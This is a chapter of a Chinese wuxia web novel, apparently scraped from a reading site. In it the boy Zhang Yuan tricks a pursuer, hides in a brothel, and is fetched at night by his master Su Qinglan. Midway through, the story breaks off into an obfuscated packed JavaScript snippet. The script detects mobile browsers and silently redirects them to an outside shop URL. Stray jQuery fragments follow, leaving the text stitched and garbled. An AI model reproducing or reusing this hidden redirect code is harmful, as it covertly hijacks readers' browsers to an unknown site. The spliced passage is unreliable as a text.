4. 追杀
    张渊歪头懵懂的看着肖凌云,成功的将自己伪装成一个无知的七八岁小孩。

    “苏青澜是谁?”

    原来姐姐叫苏青澜,好好听。

    肖凌云眉头轻轻蹙起,嘴角勾起一抹不易察觉的冷笑。他居高临下的打量着张渊,伸手捏住了张渊的脸颊,直接将张渊的脸捏变形,随后一字一顿道:“你的姐姐。”

    张渊这时候怎么会承认。

    他摇头挣扎,怒瞪着肖凌云,双手拍打着肖凌云的胳膊。

    得到自由后,他气愤的道:“你这人怎么这样?!好不讲理,我姓‘沈’,我的姐姐怎么会叫‘苏青澜’!”

    “你别拦住我,我要去找我姐姐!”

    张渊装的实在太像,让肖凌云怀疑自己是不是眼花了。

    他紧盯着张渊的眼睛,眼神深邃而锐利,仿佛能够洞察人心中最底处的秘密。

    无形的压力直朝张渊而去。

    张渊挺直腰背的站着,迎上肖凌云的目光。他心中不惧,但为了蒙蔽眼前的人,他直接掉起了眼泪。

    “哇哇”嚎叫了几声就开始骂,“呜呜你这个坏蛋,你...你欺负小孩。”

    “坏人!”

    骂了几句后,他寻找了个时机,从旁边窜走,然后撒脚丫子就跑。他不是不能再多骂一会儿,但他怕自己装的太入神,把姐姐骗到。

    肖凌云没有去追,而是对身边的人使了个眼色。

    青杉男子点头,随后跟了上去。

    而肖凌云继续往巷子深处走,虽然知道即使刚才那人是苏青澜,可经过这一遭,早就走了,但他还是要进去看看。

    意料之中的空无一人。

    在涨渊脱离肖凌云的控制,往前跑的同时,苏青澜无声无息上了房顶,猫着身子刻意避着肖凌云等人,随着张渊跑的方向而去。

    她自然也看到了追张渊的人。

    另一边。

    张渊跑出巷子后,并没有急着去找苏青澜,毕竟身后的人太明显。或许是根本没有将他一个小孩放在心上,直接就大摇大摆的跟在他身后。

    巧的是没多久,他真的看到一个卖糖葫芦的老爷爷。

    他连忙走上去,甜甜的喊,“老爷爷,我要两串糖葫芦。”

    “我父亲在后面,他跟着我,他会付银子。”

    卖糖葫芦的老爷爷抬头看到跟着张渊的男子,便直接给了张渊糖葫芦。

    而张渊拿着糖葫芦,蹦蹦跳跳的跑到前方一个拿着糖葫芦的年轻女子身边,低声道:“姐姐,我给你一串糖葫芦,你让我跟着你走一段路可以吗?”

    年轻女子狐疑的看了一眼张渊,加快了步伐。

    这么奇怪的要求一定不是什么好人。

    张渊也被迫加快了步伐。

    身后跟着的男子发现,正准备追上去,被卖糖葫芦的老爷爷拦住。“两串糖葫芦十文钱。”

    青衫男子许元武:?

    “让开。”

    他的目光随着张渊而动,他看到张渊跟在一个女子身旁,想上前去询问一番,身体却无法前进。

    “你这年轻人,十分钱都要骗我这老头子?”

    卖糖葫芦的老爷爷遇见过不给银钱的人多了去,知道该如何做,此时怎么也不肯让许元武离开。

    许元武不耐烦的道:“我又没吃你那糖葫芦,为什么要给你银钱?”

    “您儿子拿了两串走了,让你这当父亲的给。”

    许元武:?

    他诧异的看向老爷爷,“我?当父亲?”

    “前面的那个小公子说您是他父亲。”

    一瞬间,许元武明白是怎么回事了,一口气涌上心头,从袖子中取出十文钱给卖糖葫芦的老爷爷。

    随后准备继续去追涨渊,那混小子绝对有问题!

    可一抬头,眼前的人不见了,和那女子一起消失不见。

    原地淬了一口后,他返回到肖凌云身边,汇报了结果。

    他并没有说自己先是被坑,随后又让人跑了。他简短的道:“那小孩没问题,确实有个姐姐,身形不像是宗...前宗主。”

    肖凌云也没多怀疑,只道:“或是我眼花了吧。”

    另一边。

    张渊厚着脸皮跟着不认识的姐姐走了一段路,转进巷子的瞬间回头看了下,之后毫不犹豫的溜进了一扇门。

    虽是后门,但是他一进去就被人发现。

    远处的苏青澜看着张渊进的地方,眉头止不住的跳。

    ...

    等苏青澜再次见到张渊时,张渊正吭哧吭哧搬柴。

    “噗呲--”见四周无人,苏青澜直接笑出来声。

    听到熟悉声响的张渊,猛地转身,一瞬间双眼瞪大,朝苏青澜扑去。“师父!”

    “师父!”

    苏青澜抬手按在张渊额上,制止了张渊继续往前的动作。

    “啧啧,真可怜啊--”

    “呜呜师父,你终于来找我了。”

    张渊水汪汪的大眼睛看着苏青澜,被扣在这里的一两个时辰里,增生了对苏青澜许多的依赖。

    “我以为你不要我了。”

    “你说你进哪个门不好,怎么还跑进青楼来了。”

    张渊委屈的撅着嘴,“我第一次出来。”

    “好了,我来是告诉你一声,待会儿天色暗下来我们回去,现在——你就继续搬柴吧。”

    苏青澜揉了下张渊的头,对张渊满脸的控诉视而不见。

    “师父你不能直接带我走吗?”张渊眼巴巴的问。

    “现如今白日里,人来人往,我们回去易被发觉,你一出这个门说不定就会被方才那些人抓住。”

    “放心,天黑我定来接你。”

    苏青澜揉完张渊的头,又去捏了捏他消瘦的脸颊。她觉得以后得多投喂张渊一点,毕竟没肉的脸颊捏起来手感很是不好。

    张渊任由苏青澜捏着,也不反抗。

    “那好吧,不过师父你一定记得要来接我。”

    “嗯。”

    “继续搬柴吧。”

    “我走了。”

    不等张渊有所回应,苏青澜直接消失不见,一阵风吹过,仿佛她从未踏足这里。

    张渊站在原地,心中再次升起艳羡。他学武的心一步步攀登,心中燃起的小小种子,终有一天拔地而起,生长出繁茂的枝桠。

    此时弱小的他甚至无法想象出将来的他会多么潇洒,来去自如尽在脚下。

    夜色暗沉,喧闹声停止,四周安静了下来。

    张渊被安置在柴房的角落,双手双脚捆住,口中塞满手帕。他无助又呆滞的望着高处的木窗,心中一遍又一遍祈祷着他的师父能早点带他走。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561957|142750||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    他无数次痛恨自己的弱小,不能为重病的母妃寻药,不能反抗心思恶毒太监的欺凌,不能在身陷囹圄时逃脱。

    这也是他见苏青澜无声无息的出现,断定其身怀武功,没有犹豫的将人救下的原因。

    他不怕苏青澜是坏人,只怕一生困在方寸之地,永世不得挣扎。

    苏青澜如约到了张渊面前。

    她没有解开张渊身上的束缚,直接提起他的后衣领,如鬼魅版在夜间行走。

    姿势的不适让张渊很是不适,不安扭动着身体。

    苏青澜低声道:“别动,摔下去你就没命了。”

    闻言,张渊立即停止了动作,老实的被提溜着,身体僵硬,完全不敢动,生怕一不小心死无全尸。

    等双脚落地,他紧张的心情才算放松下来,但长时间精神紧绷,让他整个人腿瘫软,直接歪倒在院子里。

    苏青澜倒是没想到她的一句话就让人吓成这样。

    她上前将张渊扶起来,有些不自在的道:“还好吗?”

    不好!一点也不好!张渊心中吐槽。

    张渊小脸惨白,委屈的看向苏青澜,“师父你为什么要这样拽我?好好把我带回来不行吗?”

    苏青澜讪讪笑笑,“事急从权。”

    她不会承认她喜欢逗小孩。从前每次休息在家的时候,她就格外喜欢逗自己的小侄女。

    张渊没有再说什么,休息了一会儿后,就去整理买回来的食材。

    而苏青澜就靠在墙边休息,今日使用轻功次数太多,胸口的伤势有崩开的趋势。

    接下来的几日,她得好好躲在此处修养,否则定会留下病根。

    张渊整理好食材以后,又趁着月光明亮,拿着苏青澜新给她买的弓箭,在院中练习。

    相比于之前苏青澜的那把,如今这个更加小巧,也更加适合张渊的身量,使用起来没有那么费劲。

    白日里的无助让张渊练习起来万分努力,不肯懈怠偷懒一分。

    苏青澜坐在院子里的石头上,望着天上明亮的星星,脑中回忆着小时候在外公外婆家的日子,那时候的星星也如如今这般,只是长大后再也没看到过了。

    不仅如此,长大以后,也再也没有这般悠闲惬意的时光。

    苏青澜也没有放任张渊独自练习,时不时的指导几句或是纠正一下姿势,让张渊的力道生威。

    两个人在这偏僻落败的院中各怀心事,却也是难得的和谐。

    一个时辰后,苏青澜制止了张渊继续练习,过度的训练会损伤肌肉,尤其是刚开始训练的人,这点苏青澜深有体会。

    张渊很是听苏青澜的话,擦了把脸上的汗就停了动作,将弓箭放好后,寻了个苏青澜看不到的角落,把身上的汗渍冲洗干净。

    他出来时,看到苏青澜还在院中乘凉,便凑过去喊道:“师父。”

    苏青澜睁开眼睛问:“何事?”

    张渊小心翼翼带着点讨好意味开口,“师父,你的名字是叫苏青澜吗?”

    苏青澜颔首。

    张渊继续道:“那师父可以给我说说你的事吗?我现在还太弱,可能帮不上什么忙,但我会陪着你,会和你一起想办法的。”

    “那个男人为什么要追杀师父?感觉他有点坏,不过我今天小小的报复了一下他,一会儿给师父一个惊喜!”